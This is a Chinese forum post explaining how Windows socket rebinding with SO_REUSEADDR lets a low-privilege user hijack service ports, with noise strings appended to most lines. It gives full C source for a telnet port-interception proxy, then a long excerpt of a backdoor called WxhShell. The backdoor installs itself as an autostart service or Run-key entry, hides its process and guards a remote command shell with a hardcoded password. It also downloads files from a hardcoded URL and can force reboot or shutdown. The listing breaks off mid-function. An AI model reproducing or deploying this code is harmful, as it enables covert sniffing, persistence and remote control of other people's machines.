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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ezvm5~<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CY"iP,nHl  
u$3wdZ2&m  
  saddr.sin_family = AF_INET; 0n'~wz"wB  
b1("(,r/`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }I1A4=d  
t *8k3"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qh 3V[br  
YY&3M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zF%'~S0{  
qtqTLl@u  
  这意味着什么?意味着可以进行如下的攻击: 1l8kuwH  
,>:   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9JG9;[  
Oq7R^t`b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n@hf{hA[a  
jK!Y-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r`; "  
^KBE2C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Mp8FYPjZ  
qWQ7:*DL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q%seV<!/  
))pp{X2m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X5(S+;v"^  
QGWfF,q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RR%[]M#_T  
/7bIE!Cn  
  #include DgJG: D{  
  #include &oA p[]  
  #include P3due|4M  
  #include    ! uC`7a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #ny&bJj  
  int main() 6{XdLI  
  { 6X@]<R  
  WORD wVersionRequested; BFCF+hU^6R  
  DWORD ret; w&M)ws;$  
  WSADATA wsaData; WWO@ULGY  
  BOOL val; ;+) M~2 =  
  SOCKADDR_IN saddr; Gk.;<d  
  SOCKADDR_IN scaddr; F(-1m A&-  
  int err; q ;@:,^  
  SOCKET s; W?(^|<W  
  SOCKET sc; nvJ2V $  
  int caddsize; \~1>%F'op  
  HANDLE mt; ""j(wUp-W  
  DWORD tid;   +2}aCoL\  
  wVersionRequested = MAKEWORD( 2, 2 ); 5`ma#_zk|f  
  err = WSAStartup( wVersionRequested, &wsaData ); QQd%V#M?  
  if ( err != 0 ) { [n53 eC  
  printf("error!WSAStartup failed!\n"); GM5s~,  
  return -1; L @b8,  
  } jh3LD6|s}  
  saddr.sin_family = AF_INET; `=]I -5#.W  
   &"90pBGK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?\HXYCi0r  
gFsnL*L0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vd8BQB,Q  
  saddr.sin_port = htons(23); dM A"% R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g@&@ ]63  
  { ]t69a4&,#9  
  printf("error!socket failed!\n"); nFVQOr;  
  return -1; kUl:Yj=&  
  } bd n{Y  
  val = TRUE; IZ2c<B5&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K1P3 FfG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]FJpe^ ua  
  { zUw9  
  printf("error!setsockopt failed!\n"); SI:+I4i  
  return -1; =Vgj=19X(  
  } %N"9'g>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OVsZUmSG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 va(ZGGS]N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iU5Aj:U3  
\#bk$R@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fbbk;Rq.'3  
  { i;1EXM  
  ret=GetLastError(); :Fm{U0;"  
  printf("error!bind failed!\n"); kEM5eY  
  return -1; lP@/x+6tg  
  } sA3=x7j%c  
  listen(s,2); P'prp=JD  
  while(1) d83K;Ryd  
  { -{ Ng6ntS  
  caddsize = sizeof(scaddr); [Z3B~c  
  //接受连接请求 zc QFIP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ToUeXU [  
  if(sc!=INVALID_SOCKET) ^&o38=70*  
  { k1A64?p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R<}Yf[TQ  
  if(mt==NULL) C+ B`A9  
  { }gE?ms4$  
  printf("Thread Creat Failed!\n"); 8:j8>K*6  
  break; cLN(yL  
  } 3>[_2}l  
  } c}nXMA^^  
  CloseHandle(mt); giy4<  
  } +LwE=unS  
  closesocket(s); :*wnO;eN  
  WSACleanup(); *o8DfZ  
  return 0; q? x.P2  
  }   P^-tGo!  
  DWORD WINAPI ClientThread(LPVOID lpParam) } k[gR I]  
  { b"+ J8W  
  SOCKET ss = (SOCKET)lpParam; tHhA _  
  SOCKET sc; $u"t/_%  
  unsigned char buf[4096]; Qt_LBJUWV  
  SOCKADDR_IN saddr; z6tH2Wxf  
  long num; ,+0>p  
  DWORD val; +DwyMzeE  
  DWORD ret; d#@N2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9aw- n*<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '1{#I/P;  
  saddr.sin_family = AF_INET; W s!N%%g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ER:)Fk>_  
  saddr.sin_port = htons(23); j HT2|VGb*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Re <G#*^  
  { zWxKp;.  
  printf("error!socket failed!\n"); Ju$vuEO  
  return -1; ;;E "+.  
  } Lh~Ym<CeN  
  val = 100; @g*=xwve=~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q9j9"M'  
  { (,<ti):  
  ret = GetLastError(); P=K+!3ZXo  
  return -1; sF?N vp  
  } N@UO8'"9K&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n/_cJD \  
  { W`fE@*k0  
  ret = GetLastError(); v4}kmH1  
  return -1; Cc:m~e6r  
  } |qS<{WZ!h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pA9:1*+;;  
  { <!h&h  
  printf("error!socket connect failed!\n"); `;L0ax  
  closesocket(sc); <tZPS`c'_  
  closesocket(ss); kI974:e42  
  return -1; !m"(SJn"  
  } `vJ+ sRf  
  while(1) hia_CuY#  
  { X*Mw0;+T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8H_3.MK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pm]6E[zC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `, ?T;JRc  
  num = recv(ss,buf,4096,0); w$*t.Q*  
  if(num>0) 'z\K0  
  send(sc,buf,num,0); KOWxP47b  
  else if(num==0) &UG7 g  
  break; 5B{O!SNd  
  num = recv(sc,buf,4096,0); 6=]%Y  
  if(num>0) $l:?(&u  
  send(ss,buf,num,0); .IYE+XzV  
  else if(num==0) 8o~<\eF%  
  break; )J+vmY~&  
  } KYY~ YP  
  closesocket(ss); Sk@~}  
  closesocket(sc); STp}?Cb  
  return 0 ; IEV3(qzt  
  }  m?hC!n>  
<{.o+~k  
 }5^j08  
========================================================== RRy3N )HR  
G0$ 1"9u\w  
下边附上一个代码,,WXhSHELL zH8l-0I+$  
M?5[#0"&V  
========================================================== QnikgV  
M:h~;+s  
#include "stdafx.h" s%`o  
+0;n t  
#include <stdio.h> +O:Qw[BL/Z  
#include <string.h> aX6.XHWbDf  
#include <windows.h> VA_\Z  
#include <winsock2.h> MId\ dFu  
#include <winsvc.h> %(b`i C9  
#include <urlmon.h> Vin d\yvM  
BvpGP  
#pragma comment (lib, "Ws2_32.lib")  L's_lC  
#pragma comment (lib, "urlmon.lib") ,WbO8#z+  
@#ih;F  
#define MAX_USER   100 // 最大客户端连接数 LjjE(Yrv{  
#define BUF_SOCK   200 // sock buffer \}t(g}7T  
#define KEY_BUFF   255 // 输入 buffer CDei+ q  
.Vq-<c%  
#define REBOOT     0   // 重启 o9~Z! &p  
#define SHUTDOWN   1   // 关机 +r9:n(VP  
rixNz@p'%  
#define DEF_PORT   5000 // 监听端口 }NDw3{zn  
v]gJ 7x  
#define REG_LEN     16   // 注册表键长度 M~;Ww-./  
#define SVC_LEN     80   // NT服务名长度 ?f[#O&#  
d$g-u8  
// 从dll定义API OUn,URI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {$4fRxj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F?e_$\M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SZH,I&8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !0ySS {/  
IX;u+B  
// wxhshell配置信息 Lm"l*j4  
struct WSCFG { *nU7v3D  
  int ws_port;         // 监听端口 VWd=7  
  char ws_passstr[REG_LEN]; // 口令 k 61Ot3  
  int ws_autoins;       // 安装标记, 1=yes 0=no "#d}S)GlXM  
  char ws_regname[REG_LEN]; // 注册表键名 L m"a3Nb  
  char ws_svcname[REG_LEN]; // 服务名 ^.Vq0Qzy]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q&^ti)vB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z1u{.^~^z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q/r9r*>z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rer\='  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6~V$0Y>]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =:mD)oX*  
>V@-tT"^:  
}; Hb=4k)-/]  
*^ncb,1+i  
// default Wxhshell configuration i1ur>4Ns  
struct WSCFG wscfg={DEF_PORT, QRhR.:M\  
    "xuhuanlingzhe", M?x/C2|  
    1, Uaog_@2n,  
    "Wxhshell", 0Jz'9  
    "Wxhshell", y} AkF2:  
            "WxhShell Service", ]$!-%pNv  
    "Wrsky Windows CmdShell Service", "zJ1vIZY  
    "Please Input Your Password: ", tM <6c+  
  1, Eic/#j{4  
  "http://www.wrsky.com/wxhshell.exe", w_q{C>- cR  
  "Wxhshell.exe" d%NO_=I.  
    }; _C DUUr  
6pM[.:TM   
// 消息定义模块 ,*%%BTnR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L0Bcx|)"$`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +DaP XZ5.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j8WnXp_  
char *msg_ws_ext="\n\rExit."; lhva|  
char *msg_ws_end="\n\rQuit."; i]a 5cn  
char *msg_ws_boot="\n\rReboot..."; eaCv8zdX  
char *msg_ws_poff="\n\rShutdown..."; T?{"T/  
char *msg_ws_down="\n\rSave to "; 9lNO ~8  
g"c\ouSY  
char *msg_ws_err="\n\rErr!"; xCz(qR  
char *msg_ws_ok="\n\rOK!"; }&Ngh4/  
<XiHQ B!  
char ExeFile[MAX_PATH]; R$k4}p  
int nUser = 0; XCCN6[[+  
HANDLE handles[MAX_USER]; XT> u/Z)  
int OsIsNt; |jH- bm  
sxinA8  
SERVICE_STATUS       serviceStatus; [KMW *pA7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {Y6U%HG{{r  
.;)7)%  
// 函数声明 FY+0r67]  
int Install(void); {D J!T  
int Uninstall(void); 3Cmbt_WV  
int DownloadFile(char *sURL, SOCKET wsh); 109dB$+$  
int Boot(int flag); tSran  
void HideProc(void); #kjN!S*=  
int GetOsVer(void); pyYm<dn  
int Wxhshell(SOCKET wsl); s(jixAf  
void TalkWithClient(void *cs); XFKe6:  
int CmdShell(SOCKET sock); _[u&}i  
int StartFromService(void); g|ewc'y  
int StartWxhshell(LPSTR lpCmdLine); "c` $U]M%  
"7}bU_":s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); smaPZ^;; j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _b|mSo,{Y  
hAX@|G.  
// 数据结构和表定义 ,r^zDlS<q  
SERVICE_TABLE_ENTRY DispatchTable[] = IA I!a1e!  
{ :@#9P,"  
{wscfg.ws_svcname, NTServiceMain}, KtTv0[66  
{NULL, NULL} kqy d3Si>  
}; p^QZGu-.W  
{~q"Y]?  
// 自我安装 2*;qr|h,  
int Install(void) rYez$e^r  
{ g<U\7Vp\1  
  char svExeFile[MAX_PATH]; 3}R}|Ha J#  
  HKEY key; C'$w*^me  
  strcpy(svExeFile,ExeFile); HR'sMu3  
eA q/[(  
// 如果是win9x系统,修改注册表设为自启动 E| eEAa  
if(!OsIsNt) { AB(WK9o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QL/I/EgqC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y\s ge  
  RegCloseKey(key); ? 1Os%9D*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8LuM eGs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d8D028d  
  RegCloseKey(key); R(p`H}^  
  return 0; p1t qwV  
    } g{PEplk  
  } (~S=DFsP  
} ? nx3# <  
else { Gbj^oo  
bmCp:6  
// 如果是NT以上系统,安装为系统服务 w{F{7X$^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;::]R'F[  
if (schSCManager!=0) JR6r3W  
{ H!SFSgAu  
  SC_HANDLE schService = CreateService P=3mLz-  
  ( -sjyv/%_  
  schSCManager, xhcFZTj/(  
  wscfg.ws_svcname, LH}]& >F  
  wscfg.ws_svcdisp, }ejZk bP  
  SERVICE_ALL_ACCESS, (8"advc6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a4d7;~tZ  
  SERVICE_AUTO_START, +/+>:  
  SERVICE_ERROR_NORMAL, N!~O~ Eo3  
  svExeFile, _c!$K#Yl{  
  NULL, trx y3k;  
  NULL, N 2XL5<  
  NULL, J2 ZV\8t  
  NULL, [?>\]  
  NULL 7l(GBr  
  ); hs^K9Jt  
  if (schService!=0) |hl:!j.t  
  { Am ~P$dN  
  CloseServiceHandle(schService); i(qZ#oN  
  CloseServiceHandle(schSCManager); = Ed0vw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q{[l1:  
  strcat(svExeFile,wscfg.ws_svcname); ,,G[360  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gpw,bV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,ZV>"'I:  
  RegCloseKey(key); qdnwaJ;&  
  return 0; -DuI 6K  
    } 9Bao~(j/k  
  } Y_zMj`HE  
  CloseServiceHandle(schSCManager); q0C%">>1 #  
} rnyXMt.q  
} +'|nsIx,  
@}\i`H1s  
return 1; xyD2<?dGUb  
} %?hvN  
g@2KnzD  
// 自我卸载 S4U}u l  
int Uninstall(void) ?}e^-//*i  
{ JIiS/]KQ  
  HKEY key;  ;kzjx%h  
ri Z :#I  
if(!OsIsNt) { r2*8.j51  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { boq=@Qh  
  RegDeleteValue(key,wscfg.ws_regname); a]/KJn /B(  
  RegCloseKey(key); s0O]vDTR,H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9:E:3%%  
  RegDeleteValue(key,wscfg.ws_regname); VqUCcT  
  RegCloseKey(key); {'p < o$(S  
  return 0; ?9;CC]D  
  } k|,Y_h0Y  
} #;[0:jU0  
} !bCSt?}@u  
else { '}^qz#w   
a&2UDl%K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XV}}A ^  
if (schSCManager!=0) 9W0*|!tQ,+  
{ d#OAM;0}5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q3v v^~  
  if (schService!=0) b "aF-,M>  
  { q9wObOS$  
  if(DeleteService(schService)!=0) { O{EPq' x  
  CloseServiceHandle(schService); x6)qs-  
  CloseServiceHandle(schSCManager); ?7]G )8G6  
  return 0; %AN,cE*  
  } ,CI-IR2  
  CloseServiceHandle(schService); "IB36/9  
  } &09&;KJ  
  CloseServiceHandle(schSCManager); \HIBnkj)3n  
} ?YMBZ   
} h% KEg667  
otdRz<C  
return 1; c4u/tt.)  
} 9%Tqk"x?  
>|z:CX$]  
// 从指定url下载文件 Ims?  
int DownloadFile(char *sURL, SOCKET wsh) Qd~z<U l  
{ Zf1 uK(6X  
  HRESULT hr; '}9 Nvr)+  
char seps[]= "/"; 2{.g7bO  
char *token; PZQAlO,  
char *file; /* qx5$~  
char myURL[MAX_PATH]; X 0iy  
char myFILE[MAX_PATH]; h=S7Z:IaM  
.^M#BAt2  
strcpy(myURL,sURL); \gA<yz-;N  
  token=strtok(myURL,seps); I`(53LCqo  
  while(token!=NULL) er5!n e  
  { #6 vf:94  
    file=token; *RxJ8.G  
  token=strtok(NULL,seps); ~&<t++ g  
  } ZG 0^O"B0  
!qp$Xtf+  
GetCurrentDirectory(MAX_PATH,myFILE); 4b[bj").A  
strcat(myFILE, "\\"); kc0MQ TJU  
strcat(myFILE, file); 1I`F?MT  
  send(wsh,myFILE,strlen(myFILE),0); > SLQW  
send(wsh,"...",3,0); :o' |%JE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l;KrFJ6  
  if(hr==S_OK) f] #\&"  
return 0; @"` }%-b  
else dVYY:1PS  
return 1; =3c?W&:  
1Xo0(*O  
} 4~3 n =T*  
E& .^|<n  
// 系统电源模块 faDS!E' +  
int Boot(int flag) T 5Zh2Q@  
{ 26g]_Igq  
  HANDLE hToken; cz,QP'g  
  TOKEN_PRIVILEGES tkp; ;  ?f+  
rbnAC*y8'L  
  if(OsIsNt) { Mib .,J~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >zqaV@T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _,!0_\+i  
    tkp.PrivilegeCount = 1; x;)I%c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Et!J*{s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SFRP ?s  
if(flag==REBOOT) { z`IW[N7Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ':fp|m)M  
  return 0; #<< el;n  
} 3!b $R?kZ  
else { 0: a2ER|J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L4Zt4Yuw  
  return 0; ,eBC]4)B6  
} \KnRQtlI  
  } }ofb]_C,  
  else { UP^8Yhdo  
if(flag==REBOOT) { : c~SH/qS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b'\Q/;oz>  
  return 0; jcJ 4?  
} RbL?(  
else { yf9"Rc~+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {/]2~!  
  return 0; sko7,&  
} T4] 2R  
} EW*sTI3  
*rmC3'}s  
return 1; $KbZ4bB[Bo  
} Q"dq_8\`U  
V?j,$LixY  
// win9x进程隐藏模块 /IWA U)A0  
void HideProc(void) 5P\>$N1p  
{ n"htx|v  
4%J0e'iN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y017 B<Ou  
  if ( hKernel != NULL ) KMwV;r  
  { BQ0?B*yqd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IFTNr2I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RG{T\9]n  
    FreeLibrary(hKernel); `f;w  
  } @4*:qj?  
Sv M\9  
return; D{N8q^Cs9  
} p75o1RU  
Ncz4LKzt  
// 获取操作系统版本 @}H u)HO  
int GetOsVer(void) Cjf[]aNJe`  
{ Qp:I[:Lr;  
  OSVERSIONINFO winfo; 'IX1WS&\"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); euB1}M  
  GetVersionEx(&winfo); 8X,6U_>#a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "@&TC"YG0  
  return 1; w w^\_KGu7  
  else JJd qdX;  
  return 0; Xj\ToO  
} 5)RZJrN]  
,GH`tK_  
// 客户端句柄模块 syR"p,3EC  
int Wxhshell(SOCKET wsl) P~trxp=k  
{ 9~Dg<wQ  
  SOCKET wsh; PyQ .B*JJ  
  struct sockaddr_in client; 1Z}5ykM3  
  DWORD myID; _iJ~O1qx,w  
KrpIH6  
  while(nUser<MAX_USER) XYo,5-  
{ TN0KS]^A3  
  int nSize=sizeof(client); ~</FF'Xz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bz ;r<Kn  
  if(wsh==INVALID_SOCKET) return 1; (L/>LZn|  
zTg\\z;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,0! 2x"Q=  
if(handles[nUser]==0) UGPDwgq\v  
  closesocket(wsh); cj[b^Wv:  
else &zJI~R  
  nUser++; 6YM X7G]  
  } dQj/ Sr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "|8oFf)l@B  
|R9Lben',  
  return 0; 0#]fEi  
} sC-o'13  
IIR+qJ__|  
// 关闭 socket kZw"a*6  
void CloseIt(SOCKET wsh) *9j'@2!M  
{ =p@`bx  
closesocket(wsh); 0zr27ko  
nUser--; D^6*Cwb  
ExitThread(0); ~n]5iGz  
} i|^Q{3?o#  
p1KhI;^  
// 客户端请求句柄 L )JB^cxf  
void TalkWithClient(void *cs) ps{4_V-3u  
{ dOeM0_o  
cLZ D\1Mt  
  SOCKET wsh=(SOCKET)cs; ;_cTrjMv\  
  char pwd[SVC_LEN]; y74Q(  
  char cmd[KEY_BUFF]; N!K%aH~O  
char chr[1]; ws0qwv#  
int i,j; z0 9Gp}^;  
O*:87:I d  
  while (nUser < MAX_USER) { X"{%,]sb G  
o+1 (N#?m9  
if(wscfg.ws_passstr) { lCU clD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \jC) ;mk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S8#0Vo$)a  
  //ZeroMemory(pwd,KEY_BUFF); ZsP^<  
      i=0; ]F y' M  
  while(i<SVC_LEN) { xvTtA61Vp  
Zy(i_B-b  
  // 设置超时 IBT>&(cnV  
  fd_set FdRead; Jh\KVmfXN  
  struct timeval TimeOut; |*{*tW C1  
  FD_ZERO(&FdRead); MLdwf}[  
  FD_SET(wsh,&FdRead); rbd0`J9fq  
  TimeOut.tv_sec=8; X/4CXtX^  
  TimeOut.tv_usec=0; f+ r>ur}\)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %ztZ#h~g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R{@saa5I(>  
%L.S~dN6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,j%\3g`  
  pwd=chr[0]; jW:7PS  
  if(chr[0]==0xd || chr[0]==0xa) { NljpkeX'  
  pwd=0; #z(:n5$F  
  break; ]KFh 1  
  } o-8{C0>:  
  i++; ud/!@WG  
    } >j?5?J"  
oywiX@]~7  
  // 如果是非法用户,关闭 socket e1Db +QBV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N?@^BZ  
} 1n`[D&?q  
0C<\m\|~k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :qo[@x{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mk*4J]PP  
ei= 4u'  
while(1) { q-z1ElrN7u  
5Dkb/Iagi  
  ZeroMemory(cmd,KEY_BUFF); ;#Po}8Y=  
.B`$hxl*0c  
      // 自动支持客户端 telnet标准   {7e(0QK  
  j=0; Gpu[<Z4  
  while(j<KEY_BUFF) { 2c Xae  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ci;2XLAM  
  cmd[j]=chr[0]; H>+/k-n-  
  if(chr[0]==0xa || chr[0]==0xd) { 'dj3y/ k%  
  cmd[j]=0; T, #-: }  
  break; :j]6vp 6  
  } iF`_-t/k  
  j++; 0N1t.3U  
    } 7@{%S~TN  
[+WsVwyf?  
  // 下载文件 RC7F/|w.z  
  if(strstr(cmd,"http://")) { f,ro1Nke  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IgbuMEfL  
  if(DownloadFile(cmd,wsh)) .w4|$.H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ON/WKJr|W  
  else WoXAOj%iW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x;[)#>.'  
  } /o4_rzR?  
  else { HK[%'OQ  
`O7vPE  
    switch(cmd[0]) { F.TIdkvp  
  gxhp7c182  
  // 帮助 i7dDklj4  
  case '?': { ~;(\a@ _  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xiW}P% bf  
    break; *$7^.eHfdd  
  } z_(l]Ern}  
  // 安装 Z&^vEQ  
  case 'i': { 4s m [y8  
    if(Install()) p7+{xXf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4lM>(3Y}  
    else `pbCPa{Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (U5XB [r_P  
    break; $U,]c  
    } z\v  
  // 卸载 M0m%S:2  
  case 'r': { 6%EpF;T`  
    if(Uninstall()) Q8HNST($?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_^cqEr  
    else QY+{ OCB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h6~xz0,u  
    break; <2*+Y|Lk2  
    }  mTH[*Y,  
  // 显示 wxhshell 所在路径 M]V j  
  case 'p': { WA}'[h   
    char svExeFile[MAX_PATH]; tln}jpCw  
    strcpy(svExeFile,"\n\r"); C^C'!  
      strcat(svExeFile,ExeFile); tDAX pi(  
        send(wsh,svExeFile,strlen(svExeFile),0); '5$: #|-  
    break; q|YnNk>1  
    } f$ /C.E  
  // 重启 pz2E+o  
  case 'b': { '1!%yKc0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "j%Gr :a  
    if(Boot(REBOOT)) x^3K=l;N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :qXREF@h  
    else { P,S!Z&!  
    closesocket(wsh); |{M F o)  
    ExitThread(0); SFWS<H(IN  
    } 7<jr0)  
    break; !OV+2suu1  
    } $xvwnbq#y  
  // 关机 o)\EfPT  
  case 'd': { :^7_E&  
